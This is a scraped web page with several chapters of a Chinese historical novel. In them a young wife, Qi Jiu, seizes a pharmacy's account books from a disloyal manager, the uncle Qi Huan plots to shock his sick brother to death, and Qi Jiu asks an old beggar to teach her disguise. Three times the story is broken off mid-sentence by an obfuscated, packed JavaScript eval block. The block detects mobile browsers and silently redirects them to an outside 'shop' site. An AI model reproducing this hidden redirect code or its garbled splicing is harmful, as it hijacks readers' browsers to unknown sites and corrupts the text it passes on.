户部韩尚书十分器重关薄言，不仅予以凉州司户曹参的要职，还在递交入仕名单给廉太傅时，对关薄言直言不讳地大加赞赏。 那日，韩尚书恭敬地拱手站在案前，对廉太傅说： “太傅，这关薄言虽出身微寒，却才华横溢，颇有想法，学生以为，他将来必有大作为。凉州是军事重地，又是商业重地，您虽有平凉王为助益，可学生仍以为，自己人，还是应该多多益善……” 廉太傅看着手中的名单，别有深意地一笑：“哦？此人可堪重用？” 韩尚书深鞠一躬，又压低了声音： “学生敢以官职担保，关薄言定能为太傅分忧。平凉王虽封凉州，可北固军却在秦起手里，那可是块油盐不进的硬骨头。您虽有姜家把持平凉商界，可这凉州政事……平凉王表面上仍要与皇帝保持兄弟和睦，许多事无法亲自出面。而关薄言无根无基，若此时拉他一把，他必对太傅您感恩戴德，无不效忠的。” 廉太傅沉吟片刻，突然笑道： “呵呵……韩尚书看人，一向不会走眼。那就让我看看，他能如何替我分忧吧。” 平凉城东市口，祈家药铺。 祈家二房妾室辛云娘，穿着一身丫鬟衣裙，戴一顶白色帷帽，低头快步走进铺内。 东市口三间药铺的掌柜覃掌柜，见辛云娘进来，忙放下毛笔笑脸相迎。 “辛娘子，里面请！……” 辛云娘没应承，随覃掌柜去了后堂，这里是掌柜平日里存单记账的地方。覃掌柜警惕地关上门，辛云娘自顾自坐了下来，顺手取下帷帽。 辛云娘捏起兰花指，喝了口茶：“主君让我来问问，近日可有什么异常。” “没有，没有……我那东家中了一箭，已经几月不曾出面了，我瞧着……他也没什么时日了。呵呵……到时候，还要您家主君多多提携呢！” “嗯。” 辛云娘漫不经心地喝完茶，瞟了覃掌柜一眼。 覃掌柜立马会意，从身后的抽屉里取出几锭白花花的银子，装进钱袋子里放在辛云娘面前。 他谄媚地说：“当然，还要辛娘子多多帮衬……” “覃掌柜是个有眼界的聪明人。”辛云娘拿走桌上的钱袋，“哎呀……我家主君可是对我掏心掏肺，能将这事儿交给我来办，想必覃掌柜也能看得清楚其中利害。有我的，便有你的，若你是个不识趣的，将来我家主君接手了祈家所有产业，怕是也容不了你。” 覃掌柜忙应承着：“明白，小的明白，小的就以辛娘子马首是瞻。” “掌柜的！……掌柜的！” 伙计火急火燎地推门进来，辛云娘忙戴起帷帽，覃掌柜骂道：“大呼小叫的做什么！” “掌柜的，扈掌柜……扈掌柜他来了！” “什么？” 这扈掌柜，是祈铄身边的老掌柜了，当年祈铄还在走南闯北、饮露枕石，亲自走遍九大州拜访各地药商时，就只有一个扈掌柜跟在他身边。祈铄伤病之时，便是扈掌柜日夜操劳，替祈家撑起了这番家业。 覃掌柜登时慌得像只无头苍蝇： “他怎么突然到这儿来了？难道……东家发现了什么，知道娘子今日会来？——不行，不能让他见着娘子！辛娘子，你快快从后门出去，别叫人发现了！” 覃掌柜赶忙让伙计领辛云娘从后门小巷离开，自己则整理好账目单册，理理衣衫，快步走了出去。他不知道的是，后巷早已埋伏有人，祈楚见辛云娘匆匆出来，便让平南山跟了上去。 而他要留下来。 扈掌柜突然出现在这里，他也想知道究竟是何缘由。 他不免担忧——难道父亲，也发现二叔做的事了么？他担心父亲急火攻心、贸然出手，不仅抓不住二叔的把柄，反而还叫二叔提高了警惕，扰乱了自己的计划。 祈楚跃下房檐，贴着巷子边缘来到街边，见覃掌柜正在与扈掌柜说话。 “扈掌柜，这什么风……把您吹来了？” 扈掌柜摆摆手，回身立在门口：“没什么事，覃掌柜，你先去忙吧。” 覃掌柜吞了口唾沫，见扈掌柜没有同他多说的意思，只得忐忑地走回铺子里去。 其实，祈楚和覃掌柜都猜错了。 扈掌柜今日来，是来等柒奺的。 昨夜，祈铄突然叫人请他进府内，他内心忐忑不安，生怕东家快要不行了。好在，祈铄看起来似乎康健了许多，叫他过去，便是要他领新进门的小娘子，熟悉熟悉家里的生意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527196|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祈铄说了一句意味深长的话： “将来这祈家，或许只能靠你和奺娘撑着了……” 扈掌柜只听说，柒小娘子出身药农，娘家在平凉城外二十里，一个叫什么……鸭子村的偏僻地界。她出身微寒，又从未学过记账管事，怎能管理如此大的祈家产业？况且女子经商，实属困难重重，几难出头，扈掌柜心里未免疑惑担忧。 祈铄看出了他的疑惑，拍了怕他的肩膀笑道： “老扈，你可别小瞧了我家这位小娘子，多与她接触接触，你便能明白了。” 想到这，扈掌柜的期待又更大了些，搓着手不断望向人来人往的街头。 “小娘子这会儿该到了吧……” 此时柒奺和瓶儿已从祈家出发，坐着骡车朝东市口来了。平凉分东西市，皆是城中最繁华的地界儿，东市虽比不上西市热闹，却依旧是往来车马川流不息。市中有两间酒楼，一占鳌头，一占凤尾，便是霸爷手下的胭脂阁与清崖居。 马车路过胭脂阁的门前，瓶儿掀开帘子，神情复杂地望了一眼。 见轩窗内粉气飘飘，倩影闪动，她手一抖，立马将帘子放了下来。 “怎么了，瓶儿？”柒奺问道。 “没怎么，娘子……”瓶儿赶忙摇摇头，为转移话题，便问柒奺，“娘子，你真是好生厉害，那晚在主君书房内说的话，瓶儿回头也琢磨了一回，觉得娘子说得真有理……娘子，你是怎么想到这些的呢？” 柒奺笑道：“不过是碰巧，信口胡诌罢了。” “娘子才不是胡诌呢。”瓶儿说，“娘子聪慧，别人不知，瓶儿可是知道的。” 柒奺却叹了口气，说道： “可这经商管事，我也是头一回，也不知道自己能不能做得好。罢了，咱就摸石头过河，走一步看一步吧。” 话正说着，就已经到了地方。 扈掌柜见了骡车，远远地迎上去。骡车在药铺前停稳，扈掌柜见车里先下来个丫鬟，又回头扶出一位青涩瘦弱的小娘子来。那日迎亲时，扈掌柜便见过柒奺一面，如今听了东家的话，又免不了细细端详了一番。 “嗯哼。”瓶儿咳嗽一声。 扈掌柜忙尴尬地收回目光，向柒奺鞠了一躬：“小娘子，扈某在此处等候多时了。” 柒奺也欠欠身说：“劳扈掌柜久等了。” “不劳不劳。”扈掌柜一伸手道，“东家已经交代过了，就请小娘子随我来吧。” 店铺里生意不错，有进药的外地商人，正将一袋袋的药材往外搬运；也有抓药的散户，堂内一派忙碌热闹。柒奺进了药铺，先将那地上装好袋的药材看了看，又随扈掌柜到堂后架子上，扫了一眼架上摆放的各色药材。 扈掌柜径直将柒奺带进后堂房内，覃掌柜不错眼地盯着二人，也快步跟上去。 “扈掌柜，这位娘子是……” “覃掌柜，我来介绍一下——这位是便祈家的柒小娘子，小娘子，这位是覃掌柜。东家将东市口这三间铺子交给柒小娘子打理了，覃掌柜，就将近期的账本拿出来，给柒小娘子过目吧。” 覃掌柜打量着柒奺，不明所以地转头问扈掌柜：“东家这是……” 18. 简直是土匪！ 祈楚也转回巷内，偷偷伏在账房窗下。 扈掌柜笑着对覃掌柜说道： “哦，你不要多想，柒小娘子刚学经商，你这铺子打理得最好，只是叫小娘子熟悉熟悉上上手罢了。快去，上点茶来，把今日的账本拿来给小娘子过过眼。” 覃掌柜只吩咐伙计去倒茶，这拿账本的事，却迟迟未动一步。 柒奺不明所以地看向扈掌柜，扈掌柜则看向覃掌柜。扈掌柜正要开口，覃掌柜却率先说道： “喝茶的事好说，可要将这三间铺子交给小娘子管理，怕是……不妥吧。小娘子年纪尚轻，又是一介女流，在后院儿闺房绣绣花就好，还是不要插手这男子的营生了。” “覃掌柜，你怎么说话的？”扈掌柜忽然厉声说道，“柒小娘子可是祈家的小娘子，东家亲口吩咐将这三间铺子交给娘子打理，让你交你交便是！” 覃掌柜却丝毫不怵，自顾自坐下倒了杯茶喝。 “咱们平凉城这么多商户，有哪家是女人当家做主的？扈掌柜，就算我服，外面那些伙计，又有谁能听小娘子使唤？我看呐，小娘子还是别白费力气了。” “你……” 扈掌柜虽是不满覃掌柜的态度，可他也清楚—— 摆摊儿做点小买卖也就罢了，整个平凉城也没有哪家正儿八经的商户，是女子出面掌事的，商会里也断不可能有女子的一席之地。 曾经也有耳根软的，让自家娘子出来掌事，没多久便惹得掌柜伙计不痛快，闹了好一出笑话。更别说与女子做生意了，不仅女子会因为抛头露面遭人嚼舌根子，就连男子也会受人耻笑指摘，丢了财路。 这商界，乃至各界，到底都是男子的天下。 柒奺说：“覃掌柜这般不情愿，难道是账目记得乱七八糟，拿不出手吗？” “你……”覃掌柜将难听话吞了下去，只说道，“小娘子，你只管问问扈掌柜，我替东家管铺子这七八年，哪年账目不是清清楚楚的？” “那你拿来给我看看，又为何不可？” 覃掌柜冷哼一声道： “查账管铺子，都没什么不可，这是祈家的铺子，我只是个管事儿的掌柜。若是东家来查，覃某立马双手奉上，哪怕是小郎君来查，覃某也是乐意的，不过小娘子嘛……” “我怎么？” “小娘子若想祈家产业兴旺，还是不要染指的好。” 柒奺冷笑一声：“我来管事，是公爹亲许，我祈家人管自己的产业，还需要你同意？” “覃某并不是为难小娘子，我也是为着整个祈家着想。” 柒奺与扈掌柜对视一眼，硬吞下一口糟气。 覃掌柜不紧不慢喝了口茶，忽而又改了主意，说道： “不如这样——我知道东家近日身体不适，而娘子你是嫁给了小郎君，祈家家业也迟早是要交到小郎君的手里，若要管事，便叫你夫君出面来同我说吧。若今日他来了，当面与我说清交付之事，我便再无多言。” “你胡说什么，东家的话你也不听了吗！”扈掌柜气急大骂。 覃掌柜以为祈铄气数已尽，自己也有了祈桓这条后路，对扈掌柜的话充耳不闻。瓶儿焦急地扯了扯柒奺的袖子，可柒奺心知，祈家楚郎是不可能来这儿的。 毕竟，他坟头草都快三尺高了啊！ “……这覃掌柜，也太明目张胆了！” 而房内的三人都不知道的是，祈家的小郎君祈楚本尊，此刻就在窗子外面蹲着。 见覃掌柜在前与二叔家的小妾私相授受，在后又拿腔作势完全不将父亲放在眼里，他气涌上头，差点就要翻窗闯进去。 好在平南山及时回来，将他生生拖住。 屋内，覃掌柜小人得志，扈掌柜无计可施，眼见事态陷入了胶着。 柒奺也懒得与他多费唇舌，忽然快步绕过覃掌柜来到桌旁，将账本拿在手里翻看。覃掌柜被柒奺的举动惊呆了，忙扑身想抢回账本，柒奺一边躲闪一边大声说道： “覃掌柜，男女授受不亲你不知道吗？我可是祈家的小娘子，今日你若碰到我一根头发，我便到府衙里去，告你轻薄有夫之妇！……扈掌柜，给我拉住他！” 年近五旬的扈掌柜，对这一幕着实傻了眼，柒奺喊他一声，他才回过神来，大手一抓死死拖住覃掌柜。 覃掌柜更是大开眼界，只连连叫道： “怎么有你这样的小娘子！……简直、简直就是土匪！……” 覃掌柜骂了半晌，柒奺也来一出充耳不闻，只顾翻看手中的账本。扈掌柜早年走南闯北，力气颇大，覃掌柜挣脱不了，只得告饶： “……罢了罢了，你看就看吧，我不怕你看！” 听覃掌柜这么说，扈掌柜才放开了他。 覃掌柜终于脱开了身，整理好衣衫，重重在桌旁坐下：“小娘子慢慢看吧，看到天黑都可以，覃某就在这等着！” “嗯……这还差不多。” 柒奺捧着账本，大大咧咧坐在掌柜座儿上： “我的确看得慢，麻烦覃掌柜给我倒些茶来——对了，再准备些点心吃食，今晚的晚饭，我就在这将就用了。” “你！……” “听到没有，还不快去。”扈掌柜说道。 “……哼！” 覃掌柜瞪了柒奺一眼，起身一甩袖子，向门外走去。 走到门口，他又背手回头，对柒奺说道： “小娘子既也知道这男女授受不亲，就不要想着出来掌家管事了吧。良药苦口利于病，小娘子还是掂量掂量吧，免得到时候遇着什么事，让小娘子后悔也来不及。” 柒奺埋头没有应答。 覃掌柜的话，倒是给了扈掌柜一个警醒。他没到桌案边去，只远远立在门口。 他活了快五十岁，今日算是开了场眼界——这柒小娘子果然不同凡响，难怪东家宁愿冒着风险，也打算把祈家产业交给这小姑娘打理了。 只是今日尚且还在自家铺子里，将来小娘子若要外出洽谈请客，频繁相会外男，终究还是有诸多不便。 柒奺见扈掌柜默默站着不说话，神情又显得复杂，便主动说道： “扈掌柜，柒奺刚刚让您见笑了……不过那覃掌柜，摆明一副油盐不进的样子，我若不这么做，他总有十句百句话等着搪塞我们。秀才见着兵有理说不清，那便不说，直接抢过来了事。这产业到底还是公爹的，是祈家的，我拿自己的东西，犯不着要他的首肯。” 扈掌柜点点头说： “小娘子说的是……覃掌柜此番的确过分了些，小娘子的做法并无不妥。只是……东家将您托付给我，不能叫您受了伤害，往后这抢账本的事，就让我这老头子去做吧。说句实在话，近几个月东家重伤，这些个掌柜，连我都渐渐不放在眼里了……” 柒奺却大笑起来： “只此一次，我可不敢再抢了。扈掌柜，此事还请您千万别告诉公爹，免得他要责罚我。” 扈掌柜也笑起来，轻轻点点头。 外面，覃掌柜怒气冲冲地走出去，不情不愿地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527197|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫伙计沏茶买点心。回头见柒奺和扈掌柜都没出来，他忽然神神秘秘地喊来一伙计，将他拉至门外，耳语道： “快，赶紧去一趟清泉巷，告诉祈家二老爷，这里出事了。” 夜幕已落，柒奺终于看完账本，伸了伸懒腰。 扈掌柜和覃掌柜与一众伙计们，也留在铺内等候，覃掌柜不耐烦地用手指敲着桌面，终于见柒奺带着瓶儿走出账房。 覃掌柜瞥了一眼柒奺：“小娘子，这账本也看完了，有何赐教？” “过后再说吧，我也乏了，就先告辞了。” 覃掌柜冷哼一声，他料柒奺也不敢当他的面说什么。柒奺看也没看覃掌柜一眼，径直走出门去。 店门外，骡车已经候着了。看见骡车，柒奺对扈掌柜欠一欠身，说道： “今日劳烦扈掌柜了。我如今虽见着了账本，可覃掌柜等人，断不会服我管束，今日闹了这么一出……近几日，就先缓缓吧。请容我整理整理思绪，等有了想法，再请扈掌柜指教。” 扈掌柜也叹息着点点头：“那……小娘子您慢走。” 骡车滚滚，轧着青石板路轧轧作响。 骡车远去，天已黑尽，巷内埋伏的祈楚和平南山，终于走了出来。 “这小娘子，定是发现什么了吧？”平南山问。 “不知道她究竟作何打算……”祈楚望着远处，说道，“我是没想到，我家连多年的老掌柜，也开始作鸟兽散，盘算着易主了。南山，要不我还是回去吧，如今家中状况岌岌可危，我不能再放任不管了。时间实在拖得太久了，我怕……最终会让我们陷入被动的境地。” “这就回去了？”平南山皱着眉头，思索了片刻，“可楚兄，你不是说你一旦回去，你二叔的事就更难查探了吗？我们回平凉这几月，也下了不少工夫，可就是逮不住你二叔这条狐狸的尾巴。” “二叔从小谨慎，要抓住他的把柄不容易。”祈楚忍不住叹了口凉气，说道，“说句不孝的话——若祈家产业一开始便交到二叔手里，或许如今，已经可以与平凉第二的陶家比肩了。论手段，论头脑，二叔都在我父亲之上。” 平南山却说：“要不咱再等等，今日你那小娘子，突然来了这么一出打草惊蛇，也许能激一激你二叔，让他露出点破绽给咱们。” “嗯。”祈楚点点头，如今也没有更好的法子了。 两人沿着街边朝城外住所走去，祈楚这才想起问平南山： “对了，你去追辛姨娘，怎么这么快就回来了？” 平南山停下脚步，一拍脑门： “嘿，你不问，我也差点忘了。我告诉你，真是奇了怪了——你猜这么着？这辛姨娘竟然没回清泉巷，而是一个人躲躲闪闪的，朝南门去了。我见她进了一间客栈，便在外面等着，结果她人就这么没了！” “没了？……什么意思？” 平南山说：“我见她迟迟未出来，就进去挨个儿房间寻了一遍，连辛姨娘的影子都没看着，她就像整个儿人间蒸发了！楚兄，你这二叔的小妾，莫不是变戏法的？” 祈楚思索了片刻，摇了摇头说： “她定是进客栈换了身装扮，你没想到她会来这么一出，便没有注意到罢了。” “嘶……说来，我好像是看到个和她身材体貌相似的妇人……”平南山恍然大悟，又说道，“可不对啊，她换衣服做什么，难不成她知道我在跟着她？” 祈楚大叹了口气： “二叔这事，比我想象的还要难上许多啊……” 19. 不过是个玩物 “云娘，你怎么现在才回来？” 祈桓正立在书房内，背着手不知在思考什么，辛云娘换了华丽的衣裙钗环，手中提着食盒，敲了敲祈桓的门。 “桓郎说什么呢，奴家早就回来了。” 辛云娘扭着水蛇腰肢，将食盒轻轻搁在案几上： “奴家不过是惦记着桓郎喜欢李记的古楼子，专程去给桓郎买了些回来。桓郎也知道，李记的古楼子做得最好，那羊肉牛肉可新鲜着呢，奴家可是等了好久，才买回这些新鲜出炉的。可谁知道啊，金柳告诉奴家，你今晚去了大娘子那里用饭，奴家只得亲自又热热，直到大娘子肯放你了，我才敢拿来给你呢……可谁叫桓郎你，对奴家说话如此生硬。” 辛云娘说着，语气里有些娇柔的醋意。 祈桓见辛云娘生了小脾气，忙笑盈盈地走过去，将辛云娘搂在怀里。 “好了好了……我语气是重了些，你可别气了，当心气坏了身子。” 辛云娘转过身，往祈桓胸前轻捶了一下，香帕拂过祈桓的脸。 “奴家哪敢生你的气啊。哼……奴家平日里在这院儿里关着，哪里也去不了，好不容易出去一趟，还想着给你捎些喜欢的吃食，可你却是个负心的。” 祈桓呵呵笑着，紧搂住辛云娘，在她耳边说道：“那……今晚郎君好好疼疼你。” “……桓郎讨厌，净说些害羞话，叫下人听了多不好。” 两人在书房里你侬我侬、打情骂俏，辛云娘的笑声放肆地飞了出去。有了辛云娘，祈桓的心情似乎也舒展了许多，今日覃掌柜来递消息，说祈铄派了小娘子去查账，令他的神经顿时紧绷起来。 他担心，祈铄的身体已然恢复，要开始查问生意上的事。 想到这，祈桓忽然正经起来，问怀里的辛云娘：“今天你出去，是不是碰着大房家的人了？” 辛云娘点点头：“那个扈掌柜，今日不知怎么了，突然来了铺子里。不过桓郎你放心，奴家没让他瞧见，从后门儿走了。” 祈桓说：“以后要提高警惕，东市口那边，就先别去了。” “为什么？” “今天覃掌柜派人来，说大房要把东市口的三间铺子，交给那个刚进门的小娘子练练手。我担心，我大哥可能已经发现了什么。” 辛云娘心中直叫“可惜”，那东市口的覃掌柜是个识趣的，这边打哈欠那边送枕头，可给了她不少好处。不过她转念又一想，今天刚收了二十两银子，过段时日再去也使得。 辛云娘娇笑起来，靠进祈桓的胸膛里说道： “奴家都听桓郎的，桓郎不要奴家去，奴家便不去。” “好，好……真是我的心肝肉疙瘩。” 祈桓最喜欢辛云娘听话又温柔，当个宝贝似的搂在怀里亲，恨不得在书房就把事儿办了。 可他想到待会儿四弟还要来，只得依依不舍地推开辛云娘： “还是让我吃口古楼子吧，云娘你好不容易替我买来，这份心意，我记在心里了。放心吧云娘，只要有我在一天，你和崇儿我都当宝贝似的，绝不叫你们受一点委屈。” 辛云娘笑得似朵花儿，伺候祈桓吃起了饼。 刚吃一口，祈桓又想起问辛云娘：“对了，我叫你找的人，可有合适的人选了？” “已经找着了。”辛云娘说道，“她原是胭脂阁的，不知做了什么惹恼了霸爷，将她发卖出来。她原是良民卖唱的，走投无路才卖给了霸爷，长得还算不错，也有些手段，就是……就是这身子早破了。” 祈桓嚼着饼说：“无妨，哪怕送过去了，她是我们的人，恐怕那边也得防着。本就是个贱妾，不过是个玩物，破了身，让她想想法子就行——我知道她们那种人，手段多得是。” 听祈桓如此说，辛云娘酸道：“是啊……不过是个玩物罢了。” “哎，你与她怎可相比较？”祈桓忙安慰道，“我可把你当宝贝，这还不够啊？” “哼，桓郎知道奴家与那种人不同就好。” “知道知道当然知道。”祈桓安慰好辛云娘，才问道，“她现在在哪？” 辛云娘说：“只让她在外面做做扫洒——桓郎放心，奴家都吩咐过了，不叫她糙了手。” 祈桓点点头，一碗古楼子也很快被喂完了。他拾起帕子擦擦嘴，对辛云娘说：“我叫了老四过来，你就先回房等我，这里的事儿处理好了我便去——好好准备准备，今晚，郎君定不叫你睡觉。” 辛云娘娇笑着轻推他一把，收拾好食盒离开了书房。 辛云娘走后，祈桓命丫鬟收拾好书房，如今心情爽利了，他又兢兢业业地翻看起账本来。丫鬟前脚刚收拾好，祈炜后脚就进了书房，叫了声“二哥”，便神色复杂地坐下来。 祈桓一眼就看穿了他：“怎么了，是不是军营那边得不到消息？” 祈炜抬眼看了看祈桓，又叹了口气垂下头去。 “怎么，不是？” “唉！”祈炜似乎终于鼓起勇气，说道，“我这……我不知该怎么和你说！” 祈桓瞪大双眼，禁不住站起身来绕到他面前：“我那大侄子还活着？” 祈炜不敢看祈桓，转过脸去摇摇头。 “什么……他战死了？你确定吗？” 祈炜还是摇头。 这下祈桓看不明白了：“你倒是说啊！这人要么死了要么活着，你这死也摇头活也摇头，到底是什么意思？怎么，他是受了重伤，半死不活吗？” 祈炜一时语塞，自己也不知道该从何说起。 祈桓就站在他面前，像座大山。祈炜和祈桓是一娘所出，可他这胞哥从小就处处比他强，自己又愚笨，什么事都做不好，他对祈桓既是敬，也是怕。 终归是要说的。祈炜叫二哥先坐下喝口茶，他肚子里组织了会儿语言，才说道： “一开始那人说……说祈楚在和卡十一战中战死了，他怕空口无凭，还将战死士兵的名单抄了份出来，说遗物和抚恤金都送全部送到了。” 祈炜说到这，将那份名单从袖口里抽出来，递给祈桓。 祈桓见名单上有名有姓有籍贯，生卒年也记录得详细，顿时激动起来。 祈炜接着说：“这名单交到我手上后，我本打算立马来找你，可有些事儿绊住了……等我处理完事儿打算过来，那人竟然又找到我，说……说……” “到底说什么了！” “说北固军全体班师回国，他又打听到祈楚根本没有死……不仅没死， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527198|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡十一战，祈楚和几个大头兵，还立了大功。秦起大将军知道后，亲自接见了他们……那人说，此事军营里的士兵都知道，人人都听说过我那侄儿的大名……” “一说他战死了，一说他立了功……那我们就根本无从知道，祈楚究竟是死是活。” 祈桓沉吟起来，捏着那份名单，重重地坐回书案后。 祈炜为难地说：“所以啊，你说这……这我怎么和你说嘛！” “不过，好歹我们确定，祈楚根本不在家中养病。”祈桓冷静下来，盯着书桌上攒动的烛火，缓缓说道，“我那大嫂子，定是收到了军营传来的死讯，为了稳住大房，才来了冥婚这一出……果然，果然……” 祈桓早就猜测过这个可能，只不过苦于没有证据。 而如今，这份证据，就捏在他手中。 祈炜却想不明白：“可……祈楚也有可能根本没死啊。” “有什么关系么？”祈桓冷冷一笑，“要么，他现在还在军营，要么……” 祈桓心说——要么祈楚，已经回来了。不仅回来了，还以假死作为掩护，打算暗中调查自己的所作所为，想替祈铄拿回他家的产业。只是这个猜想，他并未对祈炜和盘托出。 “要么什么？”祈炜忙问。 “要么，祈楚立功的事，就只是谣传罢了。” 祈桓虽嘴上这么说，可他心里却亮如明镜。 将军百战死，壮士十年归。 祈楚一个大头兵，军营里竟然尽人皆知，本就是十分反常。 况且，假设祈楚立了大功，秦起大将军还亲自召见他，理应有所封赏，怎么……也得封个尉官。可如今北固军班师回朝，就驻扎在平凉城以北，却没有任何消息传来，打探消息的人也没有提起祈楚得了任何封赏。 祈桓盯着攒动的烛火，暗自揣度起来。 不久前，祈铄鼓动商会去给北固军运送物资，没想到遇到卡十的精兵，中了流箭险些丢了性命——他可是说过，当时正是祈楚救了他。祈楚是知道父亲中了箭伤势严重，他作为独子，怎可置之不顾？ 因此祈桓猜测——祈楚定是因着立了功，请求卸甲回家，而秦起大将军素来爱兵如子，此时北方已定，便同意他免了兵役。 “哦……”祈炜却想不到那般深入，只似懂非懂地点点头说，“可……这些都只是猜测，祈楚究竟是死是活，不还是没有定论吗？” “但这名单，却是真的。”祈桓说，“今日这小娘子出现，要接手祈家的产业，便足以说明祈家后继无人，才无奈要一介女流出面掌事。” 祈炜激动起来：“这么说，祈楚是真死在战场上了？” 祈桓说：“唉……大哥从小患有心疾，体弱，也受不得刺激。如今又当胸口中了一箭，更是雪上加霜——你说，若是大哥知道唯一的儿子死了，会怎样？” “那定是急火攻心，说不定就……” 祈炜突然愣住了。 “二哥，你是想？……” 祈桓将那名单折了折，放进身后的锦盒里。 他眼中闪过一丝寒光：“沈氏千般理由，不让我们见大哥，所以我们要想个法子，要大哥出面才行……如今只需破斧沉舟，不是你死，就是我亡。” 20. 拜师学艺 虽然柒奺让扈掌柜不要告诉祈铄，扈掌柜还是第二天一早赶去了祈宅。 门房小厮告诉他主君还未起身，扈掌柜便在书房等着。 祈铄只觉得，身体一天不如一天了。 这一两个月，他为了表现出身体正在康复，每日都正常作息，写字读书看账本。可只有没人的时候，他才敢大口喘气，常常头晕目眩，手抖得连笔都握不住。 因此，他也甚少写字了。 他刚昏昏沉沉地醒来，便听伺候的丫鬟说，扈掌柜一早就来等他了。他勉强坐起身子，抚着额头坐了半晌，直到头晕目眩的症状退去，才下床洗漱穿衣。 来到书房，扈掌柜一见东家，忙激动地将昨日的所见所闻讲给他听。 祈铄听后笑笑，点点头说：“奺娘果然与众不同，是个当得起事的。若有扈掌柜从旁协助，相信她……一定能好好将祈家产业经营下去。” 扈掌柜却说：“可……不是还有小郎君的吗？小娘子如此抛头露面，我始终觉得不妥。不如东家你好好和小郎君说说，让他看在祈家这么大产业，百十口人的份上，好好学学经营掌事吧……” 听扈掌柜这么说，祈铄却叹了口气，摆摆手说： “罢了……楚儿，怕是指望不上了……” 扈掌柜急了： “东家，小郎君究竟怎么了？大娘子只说小郎君病着，可都这些时日了，小郎君怎么都不见好？我是看着他长大的，小郎君的身体素来康健，又喜舞刀弄棒，为何此次治了这么久都不见好？” 祈铄脸上没有血色，他慢慢坐下来，没有应答。 其实，从沈氏和家中人的表现，他也能猜出个七八分了。他不说，亦不问，只是怕沈氏绷了这许久，会因为他而绷不下去了。 这个家，但凡能有一个人撑得住，都是雪中送炭。 好在，柒奺有意学经商，小小女子竟然心怀大志，算是给了祈铄些许慰藉。他目前只想再多撑些时日，最好等到柒奺能独当一面，他才可以放心离去。 对于祈家的未来，他已经力不从心了。 “扈掌柜，我知道你跟了我这些年，原本也应该颐养天年……可是，如今我能信任的人，只剩你一个了……我只求你，先暂时替我稳住这些产业，好好帮扶奺娘，我就把祈家的一切，交给你们二人了……” “东家……” 扈掌柜哽塞，难以言语，只能抬袖抹了抹泪。 柒奺这几日沉默了许多，瓶儿见她常常沉思出神，也不觉有些心急。 可瓶儿也知道，自己帮不上什么忙，只能尽心照顾娘子的衣食。 白天，老乞丐总是见不着人影的，通常到了月明星稀，他才提着酒壶，摇摇晃晃地飞进这别院里来。一开始还总能吓得瓶儿连连尖叫，如今瓶儿也见惯不怪了。 这晚，柒奺专程等着老乞丐回来，对他说： “老怪物，你教教我怎么做乞丐吧。” 老乞丐掏掏耳朵孔，以为自己听错了：“小猢狲，你这好好的干嘛要做乞丐？” 柒奺叹了口气，将那日查账的事，讲给了老乞丐听。 她说：“我看了近期的账，简直一塌糊涂。之前这些掌柜记账，还知道花点心思做做假，如今是越来越混乱，我算是半吊子了，都能看出这账简直是用脚写的。他们连作假都懒得作，看来是已经完全不将公爹和祈家放在眼里了。” 老乞丐说：“所以，你就打算，要彻底查清楚？” “查肯定要查，但不是明目张胆地查。”柒奺说，“掌柜的暗自吃些银两，那都是心照不宣的事了。这好理解，若我是东家，也会选择睁一只眼闭一只眼，水至清则无鱼的道理，我也是懂得的。” “嗯……倒是孺子可教。”老乞丐笑道，“那你是打算扮作乞丐，暗地里去查？” 柒奺点点头说：“正是，乞丐的身份，比较不容易令人起疑。尤其是他们怎么也不会想到，祈家小娘子会扮成脏兮兮的乞丐，我在脸上抹点锅底灰遮住容貌，也不会叫人起疑。” 老乞丐却摇摇头： “还是算了吧，你就算抹十斤锅底灰，也会露馅儿的。这易容之术，不是遮挡容貌换身衣服这么简单。” 柒奺问他：“怎么，你还会易容术？” 老乞丐抬头咋了口酒： “老朽不才，略通一二。你可知道，江湖中第一武学叫作‘金蝉诀’，武功变化深不可测，江湖人士趋之若鹜，都想得到这本秘籍。可他们只知这‘金蝉诀’是绝世武功，却不知它还有下卷——机关术、易容术乃至奇门遁甲，皆是奇妙玄极啊。” “金蝉诀？难道……和那个‘金蝉门’有关？” 柒奺说完，连忙捂住嘴四处看了看：“我差点忘了，在文唐不能提起这个名字！” 老乞丐却神态自若，呵呵笑了两声。 柒奺压低声音问道：“难不成，你见过这个‘下卷’？” “老朽偶然得到，学了一二罢了。” “那你快教教我啊！有了这易容的本领，我以后出去不就容易了？” 老乞丐却矜持起来： “哪能说教就教，这总得有个说法不是。” “……怎么，你难道还想我拜你为师？” 柒奺正要一口回绝，骂他不知好歹。 